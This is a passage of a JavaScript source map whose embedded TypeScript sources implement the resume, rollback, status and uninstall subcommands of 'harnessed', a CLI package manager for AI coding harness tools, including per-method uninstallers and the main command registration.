console.error(`aborted: ${result.reason}`)\n process.exit(2)\n }\n if ('ok' in result && result.ok === false) {\n console.error(`error: ${result.phase} — ${result.error.message}`)\n if (result.phase === 'install') {\n console.error(` fix: 'harnessed install <skill> --apply' (see error above)`)\n }\n process.exit(1)\n }\n console.log(result.result)\n process.exit(0)\n })\n}\n","// Phase 3.1 W4 T4.4 — `harnessed resume` 12th CLI subcommand (R7.3 D-03 RELOAD).\n// Sister: src/cli/doctor.ts L136-175 (--json flag + exit code pattern, PATTERNS § 1 #7 85% reuse).\n// Dynamic import of runResume matches doctor.ts L131 lazy-load pattern (CI-friendly + smaller cold-start).\n\nimport type { Command } from 'commander'\n\nexport function registerResume(program: Command): void {\n program\n .command('resume')\n .description(\n 'Reload checkpoint from paused workflow + print resume hint (D-03 — user invokes phase command manually)',\n )\n .option('--json', 'output JSON instead of human-readable')\n .action(async (opts: { json?: boolean }) => {\n const { runResume } = await import('../checkpoint/resume.js')\n const r = await runResume()\n if (opts.json) {\n console.log(JSON.stringify(r, null, 2))\n process.exit(r.status === 'ok' ? 0 : 1)\n return\n }\n if (r.status === 'no-paused-phase') {\n console.error(`✗ ${r.error}`)\n process.exit(1)\n }\n if (r.status === 'corrupt') {\n console.error(`✗ ${r.error}\\n path: ${r.path}`)\n process.exit(1)\n }\n if (r.cwdWarn) console.error(r.cwdWarn)\n console.log(`phase: ${r.checkpoint.phase}`)\n console.log(`last_task: ${r.checkpoint.last_task}`)\n if (r.checkpoint.key_decisions.length) {\n console.log(`key_decisions: ${r.checkpoint.key_decisions.slice(0, 5).join(', ')}`)\n }\n if (r.checkpoint.canonical_refs.length) {\n console.log(`canonical_refs: ${r.checkpoint.canonical_refs.slice(0, 3).join(', ')}`)\n }\n console.log(r.resumeHint)\n process.exit(0)\n })\n}\n","// Phase 1.2 cli subcommand `rollback` per ADR 0004 § 3 + Pattern C + H.\n//\n// IMPL NOTE (Rule 1 / ASSUMPTIONS C3 — CRLF/LF preservation): each backup\n// metadata.json file entry records `eol: 'lf' | 'crlf'` from the original\n// on-disk content (lib/backup.ts detects via Buffer.includes('\\r\\n')). On\n// restore we MUST honor that field — naive `fs.writeFile(buf)` would\n// otherwise round-trip CRLF→LF on Win→Unix migrations or vice versa, mutating\n// the user's original file content. We restore by converting buf to a string\n// then re-emitting with the recorded eol convention.\n//\n// IMPL NOTE (Rule 1 / ENOENT pure-create sentinel): backup() records files\n// that did not yet exist (oldText === '' + ENOENT) as `{ backup: '', sha1: '' }`.\n// On rollback this means \"delete the target file\" rather than \"restore\". We\n// honor that sentinel by calling unlink() instead of writeFile().\n\nimport { createHash } from 'node:crypto'\nimport { readFile, unlink, writeFile } from 'node:fs/promises'\nimport { join, resolve } from 'node:path'\nimport type { Command } from 'commander'\n\ninterface BackupFileEntry {\n target: string\n backup: string\n sha1: string\n eol: 'lf' | 'crlf'\n}\ninterface BackupMetadata {\n installer: string\n manifest: string\n timestamp: string\n files: BackupFileEntry[]\n}\n\nfunction normalizeEol(buf: Buffer, eol: 'lf' | 'crlf'): Buffer {\n // Convert all line endings to LF first, then to target convention.\n const lf = buf.toString('utf8').replace(/\\r\\n/g, '\\n')\n return Buffer.from(eol === 'crlf' ? lf.replace(/\\n/g, '\\r\\n') : lf, 'utf8')\n}\n\nexport function registerRollback(program: Command): void {\n program\n .command('rollback <timestamp>')\n .description('Restore files from a backup snapshot (preserves original LF/CRLF)')\n .action(async (timestamp: string) => {\n const dir = resolve(process.cwd(), '.harnessed-backup', timestamp)\n const metaPath = join(dir, 'metadata.json')\n let meta: BackupMetadata\n try {\n meta = JSON.parse(await readFile(metaPath, 'utf8')) as BackupMetadata\n } catch (err) {\n console.error(\n `error: cannot read ${metaPath}: ${(err as Error).message}\\n` +\n ` fix: run 'harnessed backup list' to see available timestamps`,\n )\n process.exit(1)\n return\n }\n // Reverse iteration so files restored later (higher in dependency chain) come first.\n for (const entry of [...meta.files].reverse()) {\n if (entry.backup === '') {\n // Pure-create sentinel — original file did not exist; rollback = unlink.\n try {\n await unlink(entry.target)\n } catch (err) {\n const code = (err as NodeJS.ErrnoException).code\n if (code !== 'ENOENT') {\n console.error(`error: cannot unlink ${entry.target}: ${(err as Error).message}`)\n process.exit(1)\n return\n }\n }\n continue\n }\n const buf = await readFile(entry.backup)\n const sha1 = createHash('sha1').update(buf).digest('hex')\n if (sha1 !== entry.sha1) {\n console.error(\n `error: backup checksum mismatch for ${entry.target} (expected ${entry.sha1.slice(0, 12)}, got ${sha1.slice(0, 12)})`,\n )\n process.exit(1)\n return\n }\n await writeFile(entry.target, normalizeEol(buf, entry.eol))\n }\n console.log(`restored ${meta.files.length} file(s) from ${timestamp}`)\n })\n}\n","// Phase 1.2 cli subcommand `status` per ADR 0004 contract 6 + Pattern C.\n//\n// Reads .harnessed/state.json (lib/state.ts SSOT) and prints installed\n// upstreams, their pinned version, and install timestamp. Partial-install\n// state (ADR 0004 contract 6) is reported when state.json contains an entry\n// without a matching backup snapshot or vice versa — phase 1.2 minimum\n// uses the readState() default-on-ENOENT idiom and treats absence as\n// \"nothing installed yet\" (not an error).\n//\n// Phase 5.1 W2 T2.5 — D-07 lock holder display: reads .harnessed/.lock\n// content (proper-lockfile mtime) + stale auto-detect 10s indicator.\n\nimport { stat } from 'node:fs/promises'\nimport type { Command } from 'commander'\nimport lockfile from 'proper-lockfile'\nimport { readState } from '../installers/lib/state.js'\n\nexport function registerStatus(program: Command): void {\n program\n .command('status')\n .description('Show installed upstreams (from .harnessed/state.json)')\n .action(async () => {\n const state = await readState(process.cwd())\n const names = Object.keys(state.installed).sort()\n if (names.length === 0) {\n console.log('no installs recorded (.harnessed/state.json absent or empty)')\n } else {\n for (const n of names) {\n const e = state.installed[n]\n if (!e) continue\n console.log(`${n} @ ${e.version} (installed ${e.installedAt})`)\n }\n console.log(`\\n${names.length} install${names.length === 1 ? '' : 's'} recorded`)\n }\n\n // D-07 LOCKED — display lock holder pid + mtime + stale indicator\n // proper-lockfile.check() returns true when lock is currently held\n try {\n const isLocked = await lockfile.check('.harnessed', {\n lockfilePath: '.harnessed/.lock',\n stale: 10_000,\n })\n if (isLocked) {\n const s = await stat('.harnessed/.lock')\n const ageMs = Date.now() - s.mtime.getTime()\n const stale = ageMs > 10_000\n console.log(`\\nlock: held (since ${s.mtime.toISOString()})${stale ? ' — STALE' : ''}`)\n console.log(' to release: wait for process to finish or delete .harnessed/.lock')\n } else {\n console.log('\\nlock: free')\n }\n } catch {\n // .harnessed/ absent or inaccessible = no lock; silent per D-07\n }\n })\n}\n","// Phase 5.2 W1 T1.1 — cli subcommand `uninstall` per R10.3 + ADR 0004.\n//\n// IMPL NOTE (D-05 dry-run default): `harnessed uninstall <name>` defaults to\n// dry-run preview; explicit `--apply` required to mutate. Sister install.ts pattern.\n//\n// IMPL NOTE (D-06 --yes bypass): when --apply AND NOT --yes, interactive\n// p.confirm() default No. --yes without --apply → exit 2 H1 gate.\n//\n// IMPL NOTE (D-07 NO --keep-backup): RawOpts explicitly omits keepBackup.\n//\n// Exit code mapping (ADR 0004 contract 6):\n// 0 → uninstall succeeded (ok: true or ephemeral no-op)\n// 1 → uninstall failed (ok: false)\n// 2 → user-aborted / flag-missing / dry-run preview\n\nimport { readFile } from 'node:fs/promises'\nimport { resolve } from 'node:path'\nimport * as p from '@clack/prompts'\nimport type { Command } from 'commander'\nimport { checkPathSafe } from '../manifest/lib/path-guard.js'\nimport { validateManifestFile } from '../manifest/validate.js'\nimport { runUninstall } from '../uninstallers/index.js'\n\ninterface RawOpts {\n apply?: boolean\n dryRun?: boolean\n yes?: boolean\n nonInteractive?: boolean\n}\n\nexport function registerUninstall(program: Command): void {\n program\n .command('uninstall <name>')\n .description('Uninstall an upstream (dry-run by default — pass --apply to execute)')\n .option('--apply', 'execute the uninstall (default: dry-run preview only)')\n .option('--dry-run', 'force dry-run (overrides --apply if both are set)')\n .option('--yes', 'skip interactive confirm — requires --apply (CI / scripts)')\n .option('--non-interactive', 'alias for --yes (CI compat)')\n .action(async (name: string, raw: RawOpts) => {\n // H1 pre-action gate (D-06): --yes without --apply → exit 2.\n const yes = raw.yes === true || raw.nonInteractive === true\n if (yes && !raw.apply) {\n console.error(\n `error: --yes requires --apply to execute\\n` +\n ` fix: harnessed uninstall ${name} --yes --apply`,\n )\n process.exit(2)\n }\n\n // Alias resolution (sister install.ts pattern).\n const { resolveAlias } = await import('../manifest/aliases.js')\n const resolvedName = resolveAlias(name) ?? name\n // R10.4 D-04 hardening site 2 — screen resolved alias redirect (defense-in-depth).\n checkPathSafe(resolvedName)\n\n // Manifest lookup (tools/ first, skill-packs/ fallback).\n const manifestPath = resolve(process.cwd(), `manifests/tools/${resolvedName}.yaml`)\n const skillPackPath = resolve(process.cwd(), `manifests/skill-packs/${resolvedName}.yaml`)\n let yamlSrc: string\n let chosenPath = manifestPath\n try {\n yamlSrc = await readFile(manifestPath, 'utf8')\n } catch {\n try {\n yamlSrc = await readFile(skillPackPath, 'utf8')\n chosenPath = skillPackPath\n } catch {\n console.error(\n `error: manifest '${resolvedName}' not found\\n` +\n ` fix: ensure manifests/tools/${resolvedName}.yaml or manifests/skill-packs/${resolvedName}.yaml exists`,\n )\n process.exit(1)\n }\n }\n\n const v = validateManifestFile(yamlSrc, chosenPath)\n if (!v.ok) {\n for (const e of v.errors) console.error(`error: ${e.message} at ${e.path}`)\n process.exit(1)\n }\n\n const method = v.manifest.spec.install.method\n const dryRun = raw.dryRun === true || !raw.apply\n\n // D-05 dry-run preview (default when no --apply).\n if (dryRun) {\n console.log(`[dry-run] would uninstall '${resolvedName}' via method '${method}'`)\n console.log(` run with --apply to execute`)\n process.exit(2)\n }\n\n // D-06 interactive confirm (--apply without --yes).\n if (!yes) {\n const answer = await p.confirm({\n message: `Uninstall '${resolvedName}'? This cannot be undone.`,\n initialValue: false,\n })\n if (p.isCancel(answer) || answer === false) {\n console.error(`aborted: user cancelled`)\n process.exit(2)\n }\n }\n\n const opts = { apply: true, dryRun: false, yes }\n const result = await runUninstall(v.manifest, opts)\n\n if ('aborted' in result) {\n console.error(`aborted: ${result.reason}`)\n process.exit(2)\n }\n if (result.ok) {\n console.log(`uninstalled ${resolvedName}`)\n process.exit(0)\n }\n console.error(`error: ${result.error}`)\n process.exit(1)\n })\n}\n","// Phase 5.2 W0 #BI — extract dry-run gate duplicate from 7 installer files.\n// Sister: src/installers/lib/err.ts (Phase 5.1 W0 #BG extract pattern).\n//\n// 7-site duplicate pattern (npmCli + mcpStdioAdd + mcpHttpAdd +\n// ccPluginMarketplace + gitCloneWithSetup + npxSkillInstaller + ccHookAdd):\n// if (ctx.opts.dryRun) return { aborted: true, reason: 'user-cancel' }\n//\n// Used by all 7 src/uninstallers/*.ts (Wave 1 T1.2).\n// NOT used by installers/ — installer files unchanged Phase 5.2.\n\n/** Minimal context shape — expanded by src/uninstallers/lib/types.ts (T1.1). */\ninterface DryRunCtx {\n opts: { dryRun: boolean }\n}\n\n/** Dry-run abort result — mirrors UninstallResult aborted variant (T1.1). */\ntype AbortResult = { aborted: true; reason: 'dry-run' }\n\n/**\n * Returns an abort result if ctx.opts.dryRun is true, otherwise null.\n * Callers: `const abort = dryRunGate(ctx); if (abort) return abort`\n */\nexport function dryRunGate(ctx: DryRunCtx): AbortResult | null {\n if (ctx.opts.dryRun) return { aborted: true, reason: 'dry-run' }\n return null\n}\n","// Phase 5.2 W1 T1.2 — uninstall method 7/7: cc-hook-add.\n// Reverse JSON deep-merge: filter matching hook entry from ~/.claude/settings.json.\n// Idempotent: settings.json absent or hook not present → ok:true noop.\n// Sister: src/installers/ccHookAdd.ts — inverse of install-time merge.\n\nimport { readFile, writeFile } from 'node:fs/promises'\nimport { homedir } from 'node:os'\nimport { join } from 'node:path'\nimport { dryRunGate } from './lib/runOrPreview.js'\nimport type { Uninstaller } from './lib/types.js'\n\ninterface Settings {\n hooks?: Record<string, { matcher?: string; command: string }[]>\n [k: string]: unknown\n}\n\nexport const uninstallCcHookAdd: Uninstaller = async (ctx) => {\n const install = ctx.manifest.spec.install\n if (install.method !== 'cc-hook-add') {\n return { ok: false, phase: 'preflight', error: `dispatch bug: ${install.method}` }\n }\n\n const abort = dryRunGate(ctx)\n if (abort) return abort\n\n const settingsPath = join(homedir(), '.claude', 'settings.json')\n let existing: string\n try {\n existing = await readFile(settingsPath, 'utf8')\n } catch {\n // File absent — hook can't be present, idempotent noop.\n return { ok: true, removedPaths: [] }\n }\n\n let settings: Settings\n try {\n settings = JSON.parse(existing) as Settings\n } catch (e) {\n return {\n ok: false,\n phase: 'preflight',\n error: `malformed settings.json: ${(e as Error).message.slice(0, 200)}`,\n }\n }\n\n const ev = install.hook_event\n const cmd = install.hook_command\n const matcher = install.hook_matcher\n\n if (!settings.hooks?.[ev]) {\n // Hook event block absent — idempotent noop.\n return { ok: true, removedPaths: [] }\n }\n\n const before = settings.hooks[ev].length\n settings.hooks[ev] = settings.hooks[ev].filter(\n (h) => !(h.command === cmd && h.matcher === matcher),\n )\n\n // Clean up empty hook event array.\n if (settings.hooks[ev].length === 0) delete settings.hooks[ev]\n if (Object.keys(settings.hooks).length === 0) delete settings.hooks\n\n if (settings.hooks?.[ev]?.length === before || before === settings.hooks?.[ev]?.length) {\n // No change — hook was not present, idempotent noop.\n }\n\n const newText = `${JSON.stringify(settings, null, 2)}\\n`\n await writeFile(settingsPath, newText)\n\n return { ok: true, removedPaths: [settingsPath] }\n}\n","// Phase 5.2 W1 T1.2 — uninstall method 4/7: cc-plugin-marketplace.\n// BDL T1.0: `claude plugin uninstall <plugin>@<marketplace>` (scope defaults user).\n// parseCmd inline — single caller, YAGNI per RESEARCH § 7 Q2.\n// Reuses runArgs from installers/lib/runClaudeArgs.ts (#BF Phase 5.1 W0).\n\nimport { runArgs } from '../installers/lib/runClaudeArgs.js'\nimport { dryRunGate } from './lib/runOrPreview.js'\nimport type { Uninstaller } from './lib/types.js'\n\n// sister src/installers/ccPluginMarketplace.ts parseCmd — extract pluginAtMkt only.\nfunction extractPluginAtMkt(cmd: string): string | null {\n const m = cmd.match(/(?:\\/?plugin)\\s+install\\s+(\\S+)/i)\n if (!m || m[1] === undefined) return null\n const pluginAtMkt = m[1].replace(/[;&]+$/, '')\n return pluginAtMkt.includes('@') ? pluginAtMkt : null\n}\n\nexport const uninstallCcPluginMarketplace: Uninstaller = async (ctx) => {\n const install = ctx.manifest.spec.install\n if (install.method !== 'cc-plugin-marketplace') {\n return { ok: false, phase: 'preflight', error: `dispatch bug: ${install.method}` }\n }\n\n const abort = dryRunGate(ctx)\n if (abort) return abort\n\n const pluginAtMkt = extractPluginAtMkt(install.cmd)\n if (!pluginAtMkt) {\n return {\n ok: false,\n phase: 'preflight',\n error: `cc-plugin-marketplace cmd missing plugin install <plugin>@<marketplace>: '${install.cmd.slice(0, 80)}'`,\n }\n }\n\n const r = await runArgs(['plugin', 'uninstall', pluginAtMkt], ctx.cwd)\n if (r.exitCode !== 0) {\n return {\n ok: false,\n phase: 'spawn',\n error: `claude plugin uninstall exited ${r.exitCode}: ${r.stderr.slice(0, 200)}`,\n }\n }\n return { ok: true, removedPaths: [pluginAtMkt] }\n}\n","// Phase 5.2 W1 T1.2 — uninstall method 5/7: git-clone-with-setup.\n// Node 22 native fs.rm cross-OS (no shell spawn per RESEARCH zero-risk).\n// extractCloneTarget inline — sister src/installers/gitCloneWithSetup.ts L70-98 YAGNI.\n\nimport { rm } from 'node:fs/promises'\nimport { dryRunGate } from './lib/runOrPreview.js'\nimport type { Uninstaller } from './lib/types.js'\n\n// sister src/installers/gitCloneWithSetup.ts extractCloneTarget — refactor to shared lib if 3rd caller appears.\nfunction extractCloneTarget(cmd: string): string | null {\n const idx = cmd.indexOf('git clone')\n if (idx < 0) return null\n const tail = cmd.slice(idx + 'git clone'.length).trim()\n const tokens = tail.split(/\\s+/)\n let i = 0\n while (i < tokens.length) {\n const t = tokens[i]\n if (t === undefined || !t.startsWith('-')) break\n if (t === '--depth' || t === '--branch' || t === '-b') {\n i += 2\n } else if (t.includes('=')) {\n i += 1\n } else {\n i += 2\n }\n }\n const dest = tokens[i + 1]\n if (!dest || dest === '&&' || dest === ';' || dest === '|') return null\n if (dest.startsWith('~/')) {\n const home = process.env.HOME ?? process.env.USERPROFILE\n if (!home) return null\n return `${home}${dest.slice(1)}`\n }\n return dest\n}\n\nexport const uninstallGitCloneWithSetup: Uninstaller = async (ctx) => {\n const install = ctx.manifest.spec.install\n if (install.method !== 'git-clone-with-setup') {\n return { ok: false, phase: 'preflight', error: `dispatch bug: ${install.method}` }\n }\n\n const abort = dryRunGate(ctx)\n if (abort) return abort\n\n const cloneTarget = extractCloneTarget(install.cmd)\n if (!cloneTarget) {\n return {\n ok: false,\n phase: 'preflight',\n error: `git-clone-with-setup cmd missing parseable 'git clone <url> <dest>': '${install.cmd.slice(0, 80)}'`,\n }\n }\n\n await rm(cloneTarget, { recursive: true, force: true, maxRetries: 3 })\n return { ok: true, removedPaths: [cloneTarget] }\n}\n","// Phase 5.2 W1 T1.2 — uninstall method 3/7: mcp-http-add.\n// BDL T1.0: `claude mcp remove <name>` transport-agnostic (same cmd as mcpStdioAdd).\n// Reuses runArgs from installers/lib/runClaudeArgs.ts (#BF Phase 5.1 W0).\n\nimport { runArgs } from '../installers/lib/runClaudeArgs.js'\nimport { dryRunGate } from './lib/runOrPreview.js'\nimport type { Uninstaller } from './lib/types.js'\n\nexport const uninstallMcpHttpAdd: Uninstaller = async (ctx) => {\n const install = ctx.manifest.spec.install\n if (install.method !== 'mcp-http-add') {\n return { ok: false, phase: 'preflight', error: `dispatch bug: ${install.method}` }\n }\n\n const abort = dryRunGate(ctx)\n if (abort) return abort\n\n const name = ctx.manifest.metadata.name\n const r = await runArgs(['mcp', 'remove', name], ctx.cwd)\n if (r.exitCode !== 0) {\n return {\n ok: false,\n phase: 'spawn',\n error: `claude mcp remove exited ${r.exitCode}: ${r.stderr.slice(0, 200)}`,\n }\n }\n return { ok: true, removedPaths: [name] }\n}\n","// Phase 5.2 W1 T1.2 — uninstall method 2/7: mcp-stdio-add.\n// BDL T1.0: `claude mcp remove <name>` (no --scope needed; transport-agnostic).\n// Reuses runArgs from installers/lib/runClaudeArgs.ts (#BF Phase 5.1 W0).\n\nimport { runArgs } from '../installers/lib/runClaudeArgs.js'\nimport { dryRunGate } from './lib/runOrPreview.js'\nimport type { Uninstaller } from './lib/types.js'\n\nexport const uninstallMcpStdioAdd: Uninstaller = async (ctx) => {\n const install = ctx.manifest.spec.install\n if (install.method !== 'mcp-stdio-add') {\n return { ok: false, phase: 'preflight', error: `dispatch bug: ${install.method}` }\n }\n\n const abort = dryRunGate(ctx)\n if (abort) return abort\n\n const name = ctx.manifest.metadata.name\n const r = await runArgs(['mcp', 'remove', name], ctx.cwd)\n if (r.exitCode !== 0) {\n return {\n ok: false,\n phase: 'spawn',\n error: `claude mcp remove exited ${r.exitCode}: ${r.stderr.slice(0, 200)}`,\n }\n }\n return { ok: true, removedPaths: [name] }\n}\n","// Phase 5.2 W1 T1.2 — uninstall method 1/7: npm-cli.\n// D-02: ephemeral detect (npx --yes / npx -y in install.cmd) → no-op + warn exit 0.\n// Otherwise: `npm uninstall <pkg>` via direct spawn (NOT runArgs — runArgs prefixes 'claude').\n\nimport { spawn } from 'node:child_process'\nimport { dryRunGate } from './lib/runOrPreview.js'\nimport type { Uninstaller } from './lib/types.js'\n\nexport const uninstallNpmCli: Uninstaller = async (ctx) => {\n const install = ctx.manifest.spec.install\n if (install.method !== 'npm-cli') {\n return { ok: false, phase: 'preflight', error: `dispatch bug: ${install.method}` }\n }\n\n // D-02: ephemeral detect — npx --yes / npx -y means runtime-only, nothing to uninstall.\n if (/\\bnpx\\s+(--yes|-y)\\b/.test(install.cmd)) {\n const name = ctx.manifest.metadata.name\n console.warn(\n `ephemeral install: nothing to uninstall ('${name}' uses 'npx --yes' runtime-only invocation; no persistent install to remove)`,\n )\n return { ok: true, removedPaths: [] }\n }\n\n const abort = dryRunGate(ctx)\n if (abort) return abort\n\n // Extract package name from install.cmd (e.g. \"npm install -g ctx7\" → \"ctx7\")\n const m = install.cmd.match(/npm\\s+(?:install|i)\\s+(?:-g\\s+)?(\\S+)/)\n const pkg = m?.[1] ?? ctx.manifest.metadata.upstream.source\n\n const isWin = process.platform === 'win32'\n const result = await new Promise<{ exitCode: number; stderr: string }>((resolve) => {\n const child = isWin\n ? spawn('cmd.exe', ['/c', 'npm', 'uninstall', '-g', pkg], { windowsHide: true })\n : spawn('npm', ['uninstall', '-g', pkg], { shell: false })\n let stderr = ''\n child.stderr?.setEncoding('utf8').on('data', (c: string) => {\n stderr += c\n })\n const timer = setTimeout(() => {\n child.kill('SIGKILL')\n resolve({ exitCode: -1, stderr: `${stderr}[timeout]` })\n }, 30_000)\n child.on('error', (e) => {\n clearTimeout(timer)\n resolve({ exitCode: -1, stderr: e.message })\n })\n child.on('close', (code) => {\n clearTimeout(timer)\n resolve({ exitCode: code ?? -1, stderr })\n })\n })\n\n if (result.exitCode !== 0) {\n return {\n ok: false,\n phase: 'spawn',\n error: `npm uninstall exited ${result.exitCode}: ${result.stderr.slice(0, 200)}`,\n }\n }\n return { ok: true, removedPaths: [pkg] }\n}\n","// Phase 5.2 W1 T1.2 — uninstall method 6/7: npx-skill-installer.\n// NOT ephemeral (npxSkill writes persistent files per RESEARCH § 2 L155 + Pitfall 2).\n// extractSkillName inline — sister src/installers/npxSkillInstaller.ts L47-54 YAGNI.\n\nimport { rm } from 'node:fs/promises'\nimport { homedir } from 'node:os'\nimport { join } from 'node:path'\nimport { dryRunGate } from './lib/runOrPreview.js'\nimport type { Uninstaller } from './lib/types.js'\n\n// sister src/installers/npxSkillInstaller.ts extractSkillName — refactor to shared lib if 3rd caller appears.\nfunction extractSkillName(cmd: string, fallback: string): string {\n const m = cmd.match(/\\bskills(?:@\\S+)?\\s+add\\s+(\\S+)/i)\n if (!m || m[1] === undefined) return fallback\n const ref = m[1]\n const seg = ref.split('/')\n return seg[seg.length - 1] ?? fallback\n}\n\nexport const uninstallNpxSkillInstaller: Uninstaller = async (ctx) => {\n const install = ctx.manifest.spec.install\n if (install.method !== 'npx-skill-installer') {\n return { ok: false, phase: 'preflight', error: `dispatch bug: ${install.method}` }\n }\n\n const abort = dryRunGate(ctx)\n if (abort) return abort\n\n const name = ctx.manifest.metadata.name\n const skillName = extractSkillName(install.cmd, name)\n const skillDir = join(homedir(), '.claude', 'skills', skillName)\n\n await rm(skillDir, { recursive: true, force: true, maxRetries: 3 })\n return { ok: true, removedPaths: [skillDir] }\n}\n","// Phase 5.2 W1 T1.2 — uninstaller dispatch table.\n// Sister: src/installers/index.ts symmetric pattern.\n// D-01 LOCKED: per-method 7 files (no levelOf() — uninstall has no L4 --system gate).\n\nimport { uninstallCcHookAdd } from './ccHookAdd.js'\nimport { uninstallCcPluginMarketplace } from './ccPluginMarketplace.js'\nimport { uninstallGitCloneWithSetup } from './gitCloneWithSetup.js'\nimport type { Manifest, Uninstaller, UninstallOpts, UninstallResult } from './lib/types.js'\nimport { uninstallMcpHttpAdd } from './mcpHttpAdd.js'\nimport { uninstallMcpStdioAdd } from './mcpStdioAdd.js'\nimport { uninstallNpmCli } from './npmCli.js'\nimport { uninstallNpxSkillInstaller } from './npxSkillInstaller.js'\n\nexport const uninstallers: Record<Manifest['spec']['install']['method'], Uninstaller> = {\n 'npm-cli': uninstallNpmCli,\n 'mcp-stdio-add': uninstallMcpStdioAdd,\n 'mcp-http-add': uninstallMcpHttpAdd,\n 'cc-plugin-marketplace': uninstallCcPluginMarketplace,\n 'git-clone-with-setup': uninstallGitCloneWithSetup,\n 'npx-skill-installer': uninstallNpxSkillInstaller,\n 'cc-hook-add': uninstallCcHookAdd,\n}\n\nexport async function runUninstall(\n manifest: Manifest,\n opts: UninstallOpts,\n): Promise<UninstallResult> {\n const uninstaller = uninstallers[manifest.spec.install.method]\n return uninstaller({ manifest, opts, cwd: process.cwd() })\n}\n","#!/usr/bin/env node\nimport { Command } from 'commander'\nimport pkg from '../package.json' with { type: 'json' }\nimport { registerAudit } from './cli/audit.js'\nimport { registerAuditLog } from './cli/audit-log.js'\nimport { registerBackupList } from './cli/backup-list.js'\nimport { registerDoctor } from './cli/doctor.js'\nimport { registerExecuteTask } from './cli/execute-task.js'\nimport { registerGc } from './cli/gc.js'\nimport { registerInstall } from './cli/install.js'\nimport { registerInstallBase } from './cli/install-base.js'\nimport { registerManifestAdd } from './cli/manifest-add.js'\nimport { registerResearch } from './cli/research.js'\nimport { registerResume } from './cli/resume.js'\nimport { registerRollback } from './cli/rollback.js'\nimport { registerStatus } from './cli/status.js'\nimport { registerUninstall } from './cli/uninstall.js'\n\nconst program = new Command()\n\nprogram\n .name('harnessed')\n .description('AI coding harness package manager + composition orchestrator')\n .version(pkg.version)\n\n// 12 subcommands per ADR 0004 + 0007 + 0008 + 0011 + 0012 + 0014 draft\n// (execute-task added in phase 2.2 — B-28 独立子命令;\n// manifest-add added in phase 2.3 W3 T3.2 — EE-5 5Q merge gate, D-03 BOTH 双闸 L1;\n// resume added in phase 3.1 W4 T4.4 — R7.3 D-03 RELOAD checkpoint reload).\nregisterInstall(program)\nregisterInstallBase(program)\nregisterResearch(program)\nregisterExecuteTask(program)\nregisterManifestAdd(program)\nregisterDoctor(program)\nregisterAudit(program)\nregisterAuditLog(program) // Phase 5.1 W1 T1.3 — 13th subcommand (R10.1 D-01 jq filter consumer)\nregisterRollback(program)\nregisterStatus(program)\nregisterBackupList(program)\nregisterGc(program)\nregisterResume(program) // Phase 3.1 W4 T4.4 — 12th subcommand (R7.3 D-03 RELOAD)\nregisterUninstall(program) // Phase 5.2 W1 T1.1 — 14th subcommand (R10.3 D-01 7-method dispatch)\n\nprogram.parse(process.argv)\n"]}
|
|
1
|
+
{"version":3,"sources":["../src/cli/lib/origin-check.ts","../src/cli/lib/probe-gstack.ts","../src/manifest/lib/path-guard.ts","../src/types/schemaVersion.ts","../src/manifest/schema/aliases.v1.ts","../src/manifest/aliases.ts","../src/cli/lib/check-deprecations.ts","../src/checkpoint/schema/checkpoint.v1.ts","../src/checkpoint/schema/currentWorkflow.v1.ts","../src/checkpoint/schema/index.ts","../src/checkpoint/template.ts","../src/cli/lib/check-token-budget.ts","../src/checkpoint/state.ts","../src/manifest/schema/known-good.v1.ts","../src/manifest/knownGood.ts","../src/checkpoint/resume.ts","../package.json","../src/manifest/errors.ts","../src/manifest/schema/metadata.ts","../src/manifest/schema/installMethods/ccHookAdd.ts","../src/manifest/schema/installMethods/ccPluginMarketplace.ts","../src/manifest/schema/installMethods/gitCloneWithSetup.ts","../src/manifest/schema/installMethods/mcpHttpAdd.ts","../src/manifest/schema/installMethods/mcpStdioAdd.ts","../src/manifest/schema/installMethods/npmCli.ts","../src/manifest/schema/installMethods/npxSkillInstaller.ts","../src/manifest/schema/installMethods/index.ts","../src/manifest/schema/spec.ts","../src/manifest/schema/index.ts","../src/manifest/security.ts","../src/manifest/validate.ts","../src/cli/lib/audit-helpers.ts","../src/cli/audit.ts","../src/cli/audit-log.ts","../src/cli/backup-list.ts","../src/cli/doctor.ts","../src/routing/completionSchema.ts","../src/routing/systemPrompt.ts","../src/routing/agentDefinition.ts","../src/routing/dag.ts","../src/routing/decisionRules.ts","../src/audit/log.ts","../src/audit/hook.ts","../src/checkpoint/engineHook.ts","../src/routing/lib/promiseExtract.ts","../src/routing/lib/ralphLoop.ts","../src/routing/lib/sdkReconcile.ts","../src/routing/lib/sdkSpawn.ts","../src/routing/lib/skillInstall.ts","../src/routing/semanticRouter.ts","../src/routing/engine.ts","../src/workflow/schema/phases.ts","../src/workflow/loadPhases.ts","../src/cli/lib/validateFlags.ts","../src/cli/execute-task.ts","../src/cli/gc.ts","../src/installers/lib/backup.ts","../src/installers/lib/confirm.ts","../src/installers/lib/diff.ts","../src/installers/lib/err.ts","../src/installers/lib/preflight.ts","../src/installers/lib/state.ts","../src/installers/ccHookAdd.ts","../src/installers/lib/runClaudeArgs.ts","../src/installers/ccPluginMarketplace.ts","../src/installers/lib/spawn.ts","../src/installers/gitCloneWithSetup.ts","../src/installers/mcpHttpAdd.ts","../src/installers/mcpStdioAdd.ts","../src/installers/npmCli.ts","../src/installers/npxSkillInstaller.ts","../src/installers/index.ts","../src/cli/install.ts","../src/cli/lib/packagePath.ts","../src/cli/install-base.ts","../src/cli/manifest-add.ts","../src/cli/research.ts","../src/cli/resume.ts","../src/cli/rollback.ts","../src/cli/setup.ts","../src/cli/status.ts","../src/cli/uninstall.ts","../src/uninstallers/lib/runOrPreview.ts","../src/uninstallers/ccHookAdd.ts","../src/uninstallers/ccPluginMarketplace.ts","../src/uninstallers/gitCloneWithSetup.ts","../src/uninstallers/mcpHttpAdd.ts","../src/uninstallers/mcpStdioAdd.ts","../src/uninstallers/npmCli.ts","../src/uninstallers/npxSkillInstaller.ts","../src/uninstallers/index.ts","../src/cli.ts"],"names":["spawnSync","Type","existsSync","readFileSync","join","Value","readFile","dirname","parse","err","GIT_REF_PATTERN","p","program","resolve","backup","readdir","homedir","checkOrigin","probeGstackPrefix","checkDeprecations","checkTokenBudget","isInstalled","T","ajv","Ajv","_compiled","getValidator","parseDocument","AUDIT_PATH","mkdirSync","match","spawn","parseYaml","createHash","mkdir","writeFile","ans","violation","stdout","p2","resolveAlias","getPinnedVersion","writeFileSync","runResume","stat","lockfile","extractCloneTarget","rm","extractSkillName","p3"],"mappings":";;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;AAAA,IAAA,oBAAA,GAAA,EAAA;AAAA,QAAA,CAAA,oBAAA,EAAA;AAAA,EAAA,WAAA,EAAA,MAAA;AAAA,CA